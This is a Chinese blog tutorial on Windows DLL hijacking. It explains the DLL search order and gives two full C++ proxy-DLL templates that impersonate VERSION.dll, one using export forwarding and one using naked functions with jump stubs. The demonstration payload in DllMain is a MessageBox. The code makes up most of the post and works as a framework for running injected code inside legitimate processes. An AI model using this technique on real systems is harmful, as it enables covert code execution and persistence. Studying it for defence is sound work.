首页 > 系统相关 >Windows黑客编程之dll劫持

Windows黑客编程之dll劫持

时间:2023-02-25 19:35:07浏览次数:46  
标签:__ comment Windows DG linker dll 黑客 EXPORT pragma

描述

  • 伪造dll,篡改里面的导出函数,替换原来的dll,进程将会加载伪造的dll,执行dllmain中的恶意代码以及调用篡改后的函数

知识

  • 由于PE文件输入表中只包含dll名而没有路径,因此加载程序必须在磁盘上搜索dll文件,搜索路径的顺序如下:
    • 程序所在目录
    • 系统目录
    • 16位系统目录
    • Windows目录
    • 当前目录
    • PATH环境变量中的各目录
  • dll劫持就是用一个和目标dll同名的dll对其进行替换,程序会优先加载
  • 为了使加载恶意dll后程序还能正常运行,恶意dll导出函数的名称和功能必须与原来的dll一致,有两种方式来调用原来的dll:
    • 直接转发dll函数
    • 主动调用dll函数

代码

直接转发dll

  • 通过pragma预编译指令进行转发,调用原来的dll函数
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		::MessageBox(NULL, "直接转发函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);
		break;
	}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}


// 直接转发函数
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=OLD_VERSION.GetFileVersionInfoA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=OLD_VERSION.GetFileVersionInfoByHandle")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=OLD_VERSION.GetFileVersionInfoExA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=OLD_VERSION.GetFileVersionInfoExW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=OLD_VERSION.GetFileVersionInfoSizeA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=OLD_VERSION.GetFileVersionInfoSizeExA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=OLD_VERSION.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=OLD_VERSION.GetFileVersionInfoSizeW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=OLD_VERSION.GetFileVersionInfoW")
#pragma comment(linker, "/EXPORT:VerFindFileA=OLD_VERSION.VerFindFileA")
#pragma comment(linker, "/EXPORT:VerFindFileW=OLD_VERSION.VerFindFileW")
#pragma comment(linker, "/EXPORT:VerInstallFileA=OLD_VERSION.VerInstallFileA")
#pragma comment(linker, "/EXPORT:VerInstallFileW=OLD_VERSION.VerInstallFileW")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=OLD_VERSION.VerLanguageNameA")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=OLD_VERSION.VerLanguageNameW")
#pragma comment(linker, "/EXPORT:VerQueryValueA=OLD_VERSION.VerQueryValueA")
#pragma comment(linker, "/EXPORT:VerQueryValueW=OLD_VERSION.VerQueryValueW")

主动调用dll函数

  • 相当于重新写一遍每个函数并导出,函数里通过loadlibrary和getprocaddress获取原来的函数地址,通过内联汇编指令jmp跳转
  • 注意导出函数前要使用关键字declspec(naked)来声明罗函数,告诉编译器不进行任何优化,此外还须使用内联汇编跳转,保证完全控制
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		// 绝对路径加载VERSION.dll
		::LoadLibrary("C:\\Windows\\System32\\VERSION.dll");

		::MessageBox(NULL, "调用函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);
		break;
	}
	case DLL_THREAD_ATTACH:
	{
		break;
	}
	case DLL_THREAD_DETACH:
	{
		// 卸载VERSION.dll
		HMODULE hDll = ::GetModuleHandle("C:\\Windows\\System32\\VERSION.dll");
		if (hDll)
		{
			::FreeLibrary(hDll);
		}
		break;
	}
	case DLL_PROCESS_DETACH:
	{
		break;
	}
		break;
	}
	return TRUE;
}


// 导出
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=_DG_GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=_DG_GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=_DG_GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=_DG_GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=_DG_GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=_DG_GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=_DG_GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=_DG_GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=_DG_VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=_DG_VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=_DG_VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=_DG_VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=_DG_VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=_DG_VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=_DG_VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=_DG_VerQueryValueW,@17")


// 获取函数地址
PVOID GetFunctionAddress(char *pszFunctionName)
{
	PVOID pAddr = NULL;
	HMODULE hDll = NULL;
	char szDllPath[MAX_PATH] = "C:\\Windows\\System32\\VERSION.dll";

	hDll = ::LoadLibrary(szDllPath);
	if (NULL == hDll)
	{
		return NULL;
	}
	pAddr = ::GetProcAddress(hDll, pszFunctionName);
	::FreeLibrary(hDll);

	return pAddr;
}



// 函数
extern "C" void __declspec(naked) DG_GetFileVersionInfoA()
{
	GetFunctionAddress("GetFileVersionInfoA");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_GetFileVersionInfoByHandle()
{
	GetFunctionAddress("GetFileVersionInfoByHandle");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_GetFileVersionInfoExA()
{
	GetFunctionAddress("GetFileVersionInfoExA");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_GetFileVersionInfoExW()
{
	GetFunctionAddress("GetFileVersionInfoExW");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeA()
{
	GetFunctionAddress("GetFileVersionInfoSizeA");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExA()
{
	GetFunctionAddress("GetFileVersionInfoSizeExA");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExW()
{
	GetFunctionAddress("GetFileVersionInfoSizeExW");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeW()
{
	GetFunctionAddress("GetFileVersionInfoSizeW");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_GetFileVersionInfoW()
{
	GetFunctionAddress("GetFileVersionInfoW");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_VerFindFileA()
{
	GetFunctionAddress("VerFindFileA");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_VerFindFileW()
{
	GetFunctionAddress("VerFindFileW");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_VerInstallFileA()
{
	GetFunctionAddress("VerInstallFileA");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_VerInstallFileW()
{
	GetFunctionAddress("VerInstallFileW");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_VerLanguageNameA()
{
	GetFunctionAddress("VerLanguageNameA");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_VerLanguageNameW()
{
	GetFunctionAddress("VerLanguageNameW");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_VerQueryValueA()
{
	GetFunctionAddress("VerQueryValueA");
	__asm jmp eax
}

extern "C" void __declspec(naked) DG_VerQueryValueW()
{
	GetFunctionAddress("VerQueryValueW");
	__asm jmp eax
}

两种方法比较

  • 因为declspec(naked)关键字和内联汇编不支持64位,故主动调用方法仅能用在32位dll劫持上,而转发方法既能32也能64位劫持
  • 主动调用方法不用改原来dll的名字,而转发方法必须修改原来dll的名字,否则会造成死锁

标签:__,comment,Windows,DG,linker,dll,黑客,EXPORT,pragma
From: https://www.cnblogs.com/z5onk0/p/17155145.html

相关文章

  • Windows黑客编程之进程隐藏
    描述通过hookZwQuerySystemInformation函数,改变其返回值结果,在taskmanager、procexp等进程管理器内隐藏目标进程知识点dll注入:通过在prcexp等进程内注入dll,执行代......
  • windows本地apache服务器开启ssl
    SSl是爲Http傳輸提供安全的協議,經過證書認證來確保客戶端和網站服務器之間的數據是安全,能夠經過apache自帶的openssl進行配置:步驟以下:1.安裝有openssl模板的apache,大多......
  • windows10中安装 php的 pecl_http扩展
    在下面的网址中下载对应版本的三个dll文件  php_raphf.dll , php_propro.dll , php_http.dllhttp://windows.php.net/downloads/pecl/releases/在php.ini中增下......
  • Windows下Python仪器仪表编程环境搭建
    1工具列表Python3及其程序库pyvisaPython3下载IOSuiteLibraries下载2下载Python3安装需要勾选“AddPython3.10toPATH”,其他都可以默认安装。pyvisa安装......
  • Windows黑客编程之进程篡改
    描述向目标进程中注入shellcode并跳转运行,披着安全进程的外皮执行恶意代码代码调用写了一段弹窗的shellcode,需要用汇编写功能,再转化为机器码#include"stdafx.h"......
  • windows 安装 Elasticsearch
    一.官网下载安装包Elasticsearch高版本内置jdk,无需使用系统安装的java,本文以8.3.3版本为例,无需修改配置文件1.下载安装包https://www.elastic.co/cn/downloads/elastics......
  • Windows wsl2安装Docker
    wsl2的Ubuntu安装好后,就可以安装Docker了。由于众所周知的原因,国内访问国外的某些网站会访问不了或者访问极慢,Docker的安装网站就在其中。所以推荐使用阿里的镜像进行安......
  • Windows wsl2支持systemd
    背景很多Linux发行版都是使用systemd来管理程序进程,但是在WSL中默认是用init来管理进程的。为了符合长久的使用习惯,且省去不必要的学习成本,就在WSL的发行版(我这里安装的......
  • windows-win+快捷键用不了
    win10按win+e、win+r、win+d等win键无反应原因:win键盘被锁解决方式fn+win解锁win键即可(如果按过无反应,连按两次三次尝试即可)依旧无反应尝试fn+F2、fn+F6、fn+键盘......
  • Windows黑客编程之进程伪装
    描述通过NtQueryInformation函数获取进程信息,并修改peb参数,可以欺骗ProcMon等查看进程信息的工具,将其伪装成一个看起来无害的进程代码实现NtQueryInformationProces......